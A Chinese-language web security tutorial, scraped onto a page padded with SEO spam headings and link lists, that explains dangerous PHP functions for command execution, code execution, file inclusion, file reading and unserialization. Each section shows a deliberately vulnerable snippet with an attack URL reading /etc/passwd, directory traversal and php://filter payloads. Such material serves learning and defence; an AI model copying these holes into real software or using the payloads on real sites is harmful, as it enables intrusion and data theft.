当前位置: 首页 > news >正文

天津高端品牌网站建设建立微信小程序

天津高端品牌网站建设,建立微信小程序,三亚做网站哪家效果好,商城类网站开发一、命令执行 1.1、命令执行原理 <?php $cmd $_GET[cmd]; // 直接获取用户输入 system($cmd); // 不安全 ?>#payload: http://example.com/vuln.php?cmdwhoami#结果: www-data 1.2、危险函数 1.2.1、system() 介绍&#xff1a; 执行外部命令&#xff0c;将命令…

一、命令执行

1.1、命令执行原理

<?php
$cmd = $_GET['cmd']; // 直接获取用户输入
system($cmd); // 不安全
?>#payload:
http://example.com/vuln.php?cmd=whoami#结果:
www-data

1.2、危险函数

1.2.1、system()

介绍:

执行外部命令,将命令的输出直接发送到标准输出(通常是浏览器),并返回命令输出的最后一行

利用手段:

<?php
$cmd = $_GET['cmd'];
system($cmd);
?>
//payload
http://example.com/vuln.php?cmd=ls
//output
index.php
config.php
.htaccess

 

1.2.2、exec()

介绍:

exec() 执行外部命令,将命令的输出存储在数组中,返回命令的返回值

利用手段:

<?php
exec($_GET['cmd'], $output);
echo implode("\n", $output);
?>
//payload
http://example.com/vuln.php?cmd=cat /etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.3、shell_exec()

介绍:

shell_exec() 执行外部命令,返回命令输出的完整字符串(包含换行符)。

利用手段:

<?php
$output = shell_exec($_GET['cmd']);
echo "<pre>$output</pre>";
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

1.2.4、passthru()

介绍:

passthru() 执行命令,将原始输出直接传递给浏览器(适合处理二进制输出)。

利用手段:

<?php
passthru($_GET['cmd']);
?>http://example.com/vuln.php?cmd=cat /etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

 

1.2.5、popen()

介绍:

执行命令,返回进程指针,可读取/写入。

利用手段:

<?php
$handle = popen($_GET['cmd'], "r");
echo fread($handle, 4096);
pclose($handle);
?>http://example.com/vuln.php?cmd=whoami

1.2.6、proc_open()

介绍:

功能更强大,可控制进程输入/输出/错误流。

利用手段:

同上(popen)

1.2.7、backticks (\``)

介绍:

反引号语法 `cmd` 等价于 shell_exec()

利用手段:

shell_exec()相同。

 

二、代码执行

2.1、代码执行原理

以eval()为例:

<?php
$code = $_GET['code'];
eval($code);
?>
//payload
http://example.com/vuln.php?code=phpinfo();
//output
phpinfo:
php version ...

2.2、危险函数

2.2.1、eval()

介绍:

将传入的字符串解析为 PHP 代码 并执行。如果传入的内容不受控或未经过滤,可能导致任意代码执行。

利用手段:

 

2.2.2、assert()

介绍:

assert() 在 PHP 5.2.0 及以上版本可以动态执行表达式(类似 eval),如果表达式的结果为 false,则会报错。
在 PHP 7.0.0 之前,它能够直接执行 PHP 代码,因此 非常危险

补充:assert接收的参数为函数,一般代码不能直接执行,最好以assert(eval($_POST[123]))这样的形式。

利用手段:

<?php
$input = $_GET['input'];
assert($input);
?>input=system('whoami');www-data

2.2.3、preg_replace()

介绍:

preg_replace() 是 PHP 的正则表达式替换函数。在 PHP 5.5.0 之前,使用 /e 修饰符 可以将匹配的字符串作为 PHP 代码执行。

preg_replace(pattern, replacement, subject);

利用手段:

<?php
$input = $_GET['input'];
echo preg_replace('/.*/e', $input, 'test');
?>input=system('whoami')www-data

2.2.4、create_function()

介绍:

create_function() 创建一个匿名函数,但参数和函数体都是字符串,因此极易引发代码注入漏洞。

create_function('$args', 'return $args + 1;');

利用手段:

详情见:WEB安全--RCE--RCE的绕过-CSDN博客

 

三、文件包含/读取

3.1、文件包含

3.1.1、include()

介绍:

包含并执行指定文件,失败时仅抛出警告。

利用手段:

1、在上传的图片中写入木马,执行木马中的php恶意代码

2、命令执行:

<?php
$filename = $_GET['file'];
include($filename);
?>
//payload
http://example.com/vuln.php?file=/etc/passwd
//output
root:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.1.2、require()

介绍:

包含并执行指定文件,失败则中止脚本。

利用手段:

同上。

 

3.2、文件读取

3.2.1、file_get_contents()

介绍:

读取文件并将其内容作为字符串返回。

利用手段:

<?php
$filename = $_GET['file'];
echo file_get_contents($filename);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin

3.2.2、readfile()

介绍:

读取文件内容并直接输出到浏览器。

利用手段:

<?php
$file = $_GET['file'];
readfile($file);
?>http://example.com/vuln.php?file=/etc/passwdroot:x:0:0:root:/root:/bin/bash
www-data:x:33:33:www-data:/var/www:/usr/sbin/nologin
//目录遍历
http://example.com/vuln.php?file=../../../../etc/passwd//搭配为协议
http://example.com/vuln.php?file=php://filter/convert.base64-encode/resource=config.php

四、反序列化

4.1、原理

在 PHP 中,序列化(Serialization) 是指将对象或数据结构转化为字符串格式,方便存储或传输。反序列化(Unserialization) 则是将序列化后的字符串还原为 PHP 对象或数据结构的过程。

而在数据进行反序列化时就会执行。

4.2、函数

4.2.1、serialize()  unserialize()

// 序列化
string serialize(mixed $value)// 反序列化
mixed unserialize(string $data, array $options = [])

4.2.2、漏洞利用

<?php
$data = $_GET['data'];
unserialize($data);
?>http://example.com/vuln.php?data=O:4:"Test":1:{s:4:"prop";s:4:"id";}uid=33(www-data) gid=33(www-data) groups=33(www-data)

 

 

 

 

http://www.dtcms.com/a/480746.html

相关文章:

  • 开发一个定制的网站青海省公路工程建设信息网站
  • 台州集团网站建设pc网站自动生成app
  • 域名进行网站备案吗手机网站的页面大小
  • 网站的ftp地址怎么查做平台的网站有哪些
  • 彩票网站建设制作价格合肥网站设计服
  • 百度云网站建设教程网站用户注册页面怎么做
  • 网站标题优化排名网站建设月流量
  • 建设部网站设计资质查询友情链接可以帮助店铺提高浏览量
  • 考研网站做刷词销售管理系统网站模板
  • wordpress多网站建设专业做婚纱摄影网站
  • 帮别人做网站服务器做简历的网站叫什么
  • 网站项目计划书毕业设计网站做几个页面
  • 网站负面信息wordpress enki
  • 做网站业务模具钢东莞网站建设
  • 天津 网站设计湖州公司网站建设
  • 行业门户网站建设哪家好学信网登录
  • 佛山公司网站推广外包服务网站开发编程工程师招聘
  • 咸阳建设局网站全flash 电子商务网站如何推广
  • 阜阳网站建设价格低wordpress无法显示登陆
  • 网站资质证书南昌网站排名优化报
  • 做营销的有那么网站中国建筑网建设通证书查询
  • 找人做网站定金不退叙永县城乡建设部网站首页
  • 贵阳网站建设咨询著名logo设计欣赏
  • wordpress 站点换域名如何建设论坛网站
  • 上海商地网站建设公司wordpress路由重写
  • 购物网站模板免费下载企业宣传策划公司
  • 站长工具ip地址高要网站制作
  • 15年做哪些网站致富中国著名外贸公司有哪些
  • 网站开发包括几个部分做网站设计需要什么软件
  • 做网站还挣钱吗国产手机做系统下载网站